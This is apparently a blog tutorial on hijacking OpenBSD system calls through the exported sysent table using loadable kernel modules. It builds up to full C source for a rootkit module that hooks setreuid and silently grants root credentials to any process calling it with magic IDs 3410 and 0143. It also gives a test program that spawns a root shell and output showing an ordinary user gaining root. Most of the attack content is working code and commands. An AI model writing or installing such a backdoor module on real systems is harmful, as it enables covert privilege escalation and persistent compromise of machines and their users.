Hi,

in this post I show you how to hijack the system calls in the latest OpenBSD kernel versions.

The way in which syscalls can be hijacked in OpenBSD kernel is very similar to that used in the Linux kernel 2.4 versions. The syscall table is exported and it is accessible by an external kernel module. So a syscall address can be overwritten by the address of an our function.

– An example of OpenBSD LKM

Fist of all, an example of OpenBDS LKM (“LKM_test.c”) follows:

#include <sys/param.h> #include <sys/systm.h> #include <sys/ioctl.h> #include <sys/cdefs.h> #include <sys/conf.h> #include <sys/exec.h> #include <sys/lkm.h> #include <sys/proc.h> #include <sys/kernel.h> MOD_MISC("LKM_test"); int LKM_test_lkmentry(struct lkm_table *, int, int); int LKM_test_lkmload(struct lkm_table *, int); int LKM_test_lkmunload(struct lkm_table *, int); int LKM_test_lkmstat(struct lkm_table *, int); int LKM_test_lkmload(struct lkm_table *lkmt, int cmd) { printf("Hello!

"); return 0; } int LKM_test_lkmunload(struct lkm_table *lkmt, int cmd) { printf("Goodbye

"); return 0; } int LKM_test_lkmstat(struct lkm_table *lkmt, int cmd) { printf("Here I am!

"); return 0; } int LKM_test_lkmentry(struct lkm_table *lkmt, int cmd, int ver) { DISPATCH(lkmt, cmd, ver, LKM_test_lkmload, LKM_test_lkmunload, LKM_test_lkmstat); }

The behavior of this module is very simple: the LKM_test_lkmentry() function is the entry point function of the kernel module and it’s the first function invoked when the module is loaded in memory. In this function the DISPATCH() macro is called: this macro is defined in “sys/lkm.h”:

... #define DISPATCH(lkmtp,cmd,ver,load,unload,stat) do { if (ver != LKM_VERSION) return EINVAL; switch (cmd) { int error; case LKM_E_LOAD: lkmtp->private.lkm_any = (struct lkm_any *)&_module; if ((error = load(lkmtp, cmd)) != 0) return error; break; case LKM_E_UNLOAD: if ((error = unload(lkmtp, cmd)) != 0) return error; break; case LKM_E_STAT: if ((error = stat(lkmtp, cmd)) != 0) return error; break; } return lkmdispatch(lkmtp, cmd); } while (/* CONSTCOND */ 0) ...

The DISPATCH macro handles the loading (by the fourth argument), unloading (by the fifth argument) and querying (by the sixth argument) of the module.

The module can be compiled running the “cc” command:

# cc -D_KERNEL -I/sys -c LKM_test.c

The module can be loaded, unloaded and queried via “modload”, “modunload” and “modstat” commands:

# modload LKM_test.o Module loaded as ID 0 # # modstat -n LKM_test Type Id Off Loadaddr Size Info Rev Module Name MISC 0 0 d44ef000 0001 d44ef12c 2 LKM_test # # modunload -n LKM_test # # tail /var/log/messages ... Oct 20 22:02:20 spaccio /bsd Hello! Oct 20 22:02:20 spaccio /bsd DDB symbols added: 365344 bytes Oct 20 22:03:47 spaccio /bsd Here I am! Oct 20 22:04:20 spaccio /bsd Goodbye!

– System call in OpenBSD

The definition of the internal lkm structure for a syscall it’s defined in “sys/lkm.h” and it follows:

struct lkm_syscall { MODTYPE lkm_type; int lkm_ver; char *lkm_name; u_long lkm_offset; /* save/assign area */ struct sysent *lkm_sysent; struct sysent lkm_oldent; /* save area for unload */ };

The fields of this structure represent the type of module, the lkm version, the name of the module, the offset at which to place the system call inside the syscall table. Moreover it’s present a pointer to a “sysent” structure.

This structure is defined in “sys/systm.h”:

extern struct sysent { /* system call table */ short sy_narg /* number of args */ short sy_argsize; /* total size of arguments */ int sy_flags; sy_call_t *sy_call; /* implementing function */ } sysent[];

The “sysent” array is the syscall table and it’s exported… ;-)

The “lkm_syscall” struct will be initialised using the MOD_SYSCALL macro (defined in “sys/lkm.h”):

#define MOD_SYSCALL(name,callslot,sysentp) static struct lkm_syscall _module = { LM_SYSCALL, LKM_VERSION, name, callslot, sysentp };

– System calls Hijacking

We have now all the informations we need to hijack a system call. The method I’ll show is similar to that used for hooking the syscalls in kernel 2.4 versions. As I said before, the “sysent” array is like the old “syscall_table” exported in Linux kernel 2.4. So, what we have to do is overwriting the syscall address of the interested syscall with that of our function inside the “sysent” array.

Each syscall has an unique id-number defined in “sys/syscall.h” that represents also its position inside the system call table. If we want to hijack the (i.e.) “mkdir()” syscall, we have only to search the “mkdir” id-number inside in this header file:

... /* syscall: "sendto" ret: "ssize_t" args: "int" "const void *" "size_t" "int" "const struct sockaddr *" "socklen_t" */ #define SYS_sendto 133 /* syscall: "shutdown" ret: "int" args: "int" "int" */ #define SYS_shutdown 134 /* syscall: "socketpair" ret: "int" args: "int" "int" "int" "int *" */ #define SYS_socketpair 135 /* syscall: "mkdir" ret: "int" args: "const char *" "mode_t" */ #define SYS_mkdir 136 /* syscall: "rmdir" ret: "int" args: "const char *" */ #define SYS_rmdir 137 /* syscall: "utimes" ret: "int" args: "const char *" "const struct timeval *" */ #define SYS_utimes 138 ...

The “mkdir” id-number is the number 136.

The values contained inside the “sysent” structure are defined in the “init_sysent.c” file:

struct sysent sysent[] = { ... { 2, s(struct sys_mkdir_args), 0, 352 sys_mkdir }, ...

According to the prototype of the “sysent” structure, the first field represents the number of arguments. The second arguments is the size of the “sys_mkdir_args” structure, that is the structure in which the “mkdir” arguments are defined. All the syscalls’ arguments are defined inside the “sys/syscallargs.h” file:

... struct sys_mkdir_args { syscallarg(const char *) path; syscallarg(mode_t) mode; }; ...

The “mkdir” syscall accepts two arguments: the directory path and mode.

The fourth argument of the “sysent” structure is a pointer to the implementing function “sys_mkdir()”. We can find the “sys_mkdir()” prototype inside the same file:

int sys_mkdir(struct proc *, void *, register_t *);

All the syscall functions take as arguments these three fields:

– a “struct proc” pointer: The structure that contains the informations about the process that it’s invoking the syscall.

– a “void” pointer to the syscall’s arguments.

– a “register_t” (it’s a simple integer) pointer to the syscall return value.

Now we have all the necessary informations we need to hijack the “mkdir” syscall.

The “hijack.c” source code follows:

#include <sys/param.h> #include <sys/systm.h> #include <sys/ioctl.h> #include <sys/cdefs.h> #include <sys/conf.h> #include <sys/mount.h> #include <sys/exec.h> #include <sys/lkm.h> #include <sys/proc.h> #include <sys/kernel.h> #include <sys/syscallargs.h> #include <sys/syscall.h> MOD_MISC("hijack"); int hijack_lkmentry(struct lkm_table *, int, int); int hijack_lkmload(struct lkm_table *, int); int hijack_lkmunload(struct lkm_table *, int); int hijack_lkmstat(struct lkm_table *, int); int (*mkdir_old)(struct proc *td, void *args, register_t *b); int mkdir_new(struct proc *td, void *args, register_t *b) { struct sys_mkdir_args /* { syscallarg(const char *) path; syscallarg(mode_t) mode; } */ *uap = args; printf("Mkdir hijacked -> %s %x

", uap->path, uap->mode); return (mkdir_old(td, args, b)); } int hijack_lkmload(struct lkm_table *lkmt, int cmd) { mkdir_old = sysent[SYS_mkdir].sy_call; sysent[SYS_mkdir].sy_call = (sy_call_t *) mkdir_new; printf("Hello!

"); return 0; } int hijack_lkmunload(struct lkm_table *lkmt, int cmd) { sysent[SYS_mkdir].sy_call = (sy_call_t *) mkdir_old; printf("Goodbye

"); return 0; } int hijack_lkmstat(struct lkm_table *lkmt, int cmd) { printf("Here I am!

"); return 0; } int hijack_lkmentry(struct lkm_table *lkmt, int cmd, int ver) { DISPATCH(lkmt, cmd, ver, hijack_lkmload, hijack_lkmunload, hijack_lkmstat); }

We can compile (and load) this module and we can create a new “test” directory to check if the module works properly:

# cc -D_KERNEL -I/sys -c hijack.c # modload hijack.o Module loaded as ID 0 # mkdir test # ls ./ test # tail /var/log/messages ... Oct 20 22:15:38 spaccio /bsd Hello! Oct 20 22:15:38 spaccio /bsd DDB symbols added: 365344 bytes Oct 20 22:16:10 spaccio /bsd Mkdir hijacked -> test 1ed

Perfect! The directory has been created and the syscall has been hijacked as expected.

Now we can write a more interesting kernel module.

– A very simple rootkit

Now I’ll show you how to change the process credentials through kernel modules. I use the same method shown in this post. Our rootkit will give us root credentials when we invoke a new shell with RUID == 3410 && EUID == 0143. We only need to hijack the “setreuid” syscall and to check the ruid and euid correctness.

As I wrote before, the first argument of each syscall function is a “struct proc” pointer that contains the informations about the process that it’s calling the syscall. So, we only need to change the credentials’ values stored in this structure.

This structure is defined in “sys/proc.h”:

struct process { struct proc *ps_mainproc; struct pcred *ps_cred; /* Process owner's identity. */ struct plimit *ps_limit; /* Process limits. */ TAILQ_HEAD(,proc) ps_threads; /* Threads in this process. */ int ps_refcnt; /* Number of references. */ };

We are interested on the “pcred” structure. This structure contains all the informations about the process owner’s credentials. This struct is defined in the same file:

struct pcred { struct ucred *pc_ucred; /* Current credentials. */ uid_t p_ruid; /* Real user id. */ uid_t p_svuid; /* Saved effective user id. */ gid_t p_rgid; /* Real group id. */ gid_t p_svgid; /* Saved effective group id. */ int p_refcnt; /* Number of references. */ };

The “ucred” structure is defined in the “sys/ucred.h” file:

struct ucred { u_int cr_ref; /* reference count */ uid_t cr_uid; /* effective user id */ gid_t cr_gid; /* effective group id */ short cr_ngroups; /* number of groups */ gid_t cr_groups[NGROUPS]; /* groups */ };

We have to hijack the “setreuid” syscall and change these values.

The rootkit kernel module (“rootkit.c”) follows:

#include <sys/param.h> #include <sys/systm.h> #include <sys/ioctl.h> #include <sys/cdefs.h> #include <sys/conf.h> #include <sys/mount.h> #include <sys/exec.h> #include <sys/lkm.h> #include <sys/proc.h> #include <sys/kernel.h> #include <sys/syscallargs.h> #include <sys/syscall.h> MOD_MISC("rootkit"); int rootkit_lkmentry(struct lkm_table *, int, int); int rootkit_lkmload(struct lkm_table *, int); int rootkit_lkmunload(struct lkm_table *, int); int rootkit_lkmstat(struct lkm_table *, int); int (*setreuid_old)(struct proc *td, void *args, register_t *b); int setreuid_new(struct proc *td, void *args, register_t *b) { struct sys_setreuid_args /* { syscallarg(uid_t) ruid; syscallarg(uid_t) euid; }*/ *uap = args; uid_t uid; uid_t ruid, euid; ruid = SCARG(uap, ruid); euid = SCARG(uap, euid); if ((ruid == 3410) && (euid == 0143)) { td->p_cred->p_ruid = 0; td->p_cred->p_svuid = 0; td->p_cred->p_rgid = 0; td->p_cred->p_svgid = 0; td->p_cred->pc_ucred->cr_uid = 0; td->p_cred->pc_ucred->cr_gid = 0; ruid = 0; euid = 0; SCARG(uap, ruid) = ruid; SCARG(uap, euid) = euid; } return (setreuid_old(td, args, b)); } int rootkit_lkmload(struct lkm_table *lkmt, int cmd) { setreuid_old = sysent[SYS_setreuid].sy_call; sysent[SYS_setreuid].sy_call = (sy_call_t *) setreuid_new; printf("Hello!

"); return 0; } int rootkit_lkmunload(struct lkm_table *lkmt, int cmd) { sysent[SYS_setreuid].sy_call = (sy_call_t *) setreuid_old; printf("Goodbye

"); return 0; } int rootkit_lkmstat(struct lkm_table *lkmt, int cmd) { printf("Here I am!

"); return 0; } int rootkit_lkmentry(struct lkm_table *lkmt, int cmd, int ver) { DISPATCH(lkmt, cmd, ver, rootkit_lkmload, rootkit_lkmunload, rootkit_lkmstat); }

We can use the following script (“test.c”) to test the rootkit:

#include <stdio.h> int main () { setreuid (3410, 0143); system ("/bin/sh"); return 0; }

Now we can compile and then load the kernel module:

# cc -D_KERNEL -I/sys -c rootkit.c # modload rootkit.o Module loaded as ID 0

Now, we can change user and we can test if the kernel module works properly:

# su - spaccio $ ./test # whoami root # exit $

Great, it works! :-)

Bye.